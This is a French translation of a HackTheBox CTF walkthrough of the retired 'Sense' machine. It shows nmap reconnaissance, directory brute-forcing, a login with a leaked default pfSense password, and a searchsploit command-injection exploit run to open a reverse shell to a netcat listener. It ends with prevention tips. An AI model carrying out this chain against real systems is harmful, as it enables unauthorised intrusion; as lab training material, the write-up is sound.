Article original : Sense Walkthrough – HackTheBox
Par Shuaib Oseni
HackTheBox est une plateforme de piratage en ligne qui vous permet de tester et de pratiquer vos compétences en tests d'intrusion.
Elle contient plusieurs laboratoires vulnérables qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent plus vers un style de défi Capture The Flag (CTF).
Note : Seuls les write-ups des machines HTB retirées sont autorisés.
Prérequis
Pour tirer le meilleur parti de ce guide, vous aurez besoin des éléments suivants :
- Un abonnement VIP HackTheBox.
- Le système d'exploitation Kali Linux.
- Des connaissances de base en bruteforcing.
Informations sur la machine
Nom : Sense
Adresse IP : 10.10.10.60
Système d'exploitation : FreeBSD
Attachez vos ceintures, tout le monde – nous partons pour un tour !
Étape 1 – Faire de la reconnaissance
La reconnaissance est le processus de collecte d'autant d'informations que possible sur un système cible, et c'est généralement la première étape vers tout piratage.
Commençons par exécuter une analyse Nmap pour recueillir des informations sur les ports ouverts et les services en cours d'exécution sur cette machine en exécutant la commande suivante :
nmap -A -T4 -p- 10.10.10.60
Voici le résultat :
nmap -A -T4 -p- 10.10.10.60
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-08 05:23 EST
Nmap scan report for 10.10.10.60
Host is up (0.36s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1561.11 seconds
D'après le résultat de l'analyse, nous pouvons voir qu'il y a 2 ports ouverts :
- Port 80 - Hyper Text Transfer Protocol (HTTP)
- Port 443 - Hyper Text Transfer Protocol Secured (HTTPS)
Étape 2 – Visiter l'adresse IP
Maintenant, visitons l'adresse IP dans un navigateur.
page de connexion sense
Nous obtenons une page de connexion pfsense. Les identifiants par défaut pour pfsense sont admin/pfsense. Malheureusement, ces identifiants n'ont pas fonctionné.
Étape 3 – Utiliser la force brute des répertoires
Vous utilisez la force brute des répertoires pour trouver des répertoires cachés sur une application web.
Maintenant, effectuons une force brute des répertoires en utilisant dirbuster.
dirbuster
dirbuster nous a donné quelques éléments intéressants :
- Pages avec un code de réponse de 200.
- Un fichier
changelog-txt. - Un fichier
system-user-txt.
changelog-txt et system-user-txt semblent super intéressants, alors voyons si nous pouvons afficher leur contenu.
Pour lire le contenu de ce fichier, nous tapons 10.10.10.60/changelog.txt dans notre navigateur.
changelog.txt contient ce qui suit :
fichier changelog.txt
Pour lire le contenu de ce fichier, nous tapons 10.10.10.60/system-users.txt dans notre navigateur.
system-users.txt contient ce qui suit :
fichier system-user.txt
Étape 4 – Essayer de se connecter
system-users.txt contient un nom d'utilisateur "Rohit" et un mot de passe "company defaults", qui ne ressemble pas à un mot de passe. Et si company defaults = mot de passe par défaut de pfsense ? Essayons-le :
- nom d'utilisateur : Rohit
- mot de passe : pfsense
tableau de bord
Nous sommes redirigés vers le tableau de bord de Rohit. Cliquons autour pour voir si nous pouvons obtenir des informations intéressantes ou un numéro de version.
La page admin contient un numéro de version
numéro de version
Étape 5 – Lancer l'exploit
Maintenant que nous avons un numéro de version, utilisons searchsploit pour vérifier s'il existe une vulnérabilité connue sur pfsense 2.1.3.
Searchsploit est un outil de recherche en ligne de commande Exploit-DB pour ExploitDB, une archive d'exploits.
Searchsploit est préinstallé dans Kali. Maintenant, exécutons la commande suivante dans notre terminal :
searchsploit pfsense
résultat de searchsploit
Maintenant que nous savons que cette version est vulnérable à une attaque d'injection de commande, essayons de l'exploiter.
L'injection de commande est une vulnérabilité de sécurité web qui permet à un attaquant d'exécuter des commandes OS arbitraires sur un serveur d'application, compromettant finalement l'application et ses données. Cela se produit lorsque l'entrée utilisateur non assainie est transmise via une application.
Searchsploit nous fournit un exploit Python, alors essayons-le.
Avant de lancer cet exploit, nous devons configurer un Netcat listener.
Netcat est un programme utilitaire réseau avec le listener étant l'une de ses fonctionnalités. Le listener vous permet d'écouter sur des ports ouverts, de créer des shells inversés, et d'envoyer des données ou des fichiers sur un réseau.
nc -lnvp 9001
Ensuite, nous lançons notre exploit en exécutant la commande suivante :
python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.12 --lport 9001 --username rohit --password pfsense
Boom ! Nous avons obtenu un shell :
shell
Étape 6 – Trouver le user-flag
Notre shell n'est pas un shell PTY, ce qui signifie qu'il y a des commandes spécifiques que nous ne pouvons pas exécuter. Cependant, voyons si nous pouvons obtenir un flag avec notre shell actuel.
Déplaçons-nous vers le répertoire rohit et voyons ce que nous pouvons trouver.
user flag
Yayyyyyyy nous avons obtenu notre user flag !
Étape 7 – Trouver le root-flag
Et si le root flag était disponible pour nous sans avoir besoin d'une élévation de privilèges ? Voyons cela.
L'élévation de privilèges est une attaque par laquelle un utilisateur obtient un accès élevé à un système au-delà de ce qui est prévu.
Déplaçons-nous vers le répertoire root et voyons ce que nous pouvons trouver.
root flag
Booooom ! Nous avons réussi à rooter cette machine.
Conclusion
Nous avons pu rooter cette machine car elle était vulnérable à une attaque par injection de commande. Voici quelques-unes des façons dont vous pouvez prévenir cette vulnérabilité :
- Assainissez l'entrée utilisateur.
- Évitez d'appeler directement les commandes OS.
- Corrigiez et mettez souvent à jour l'application.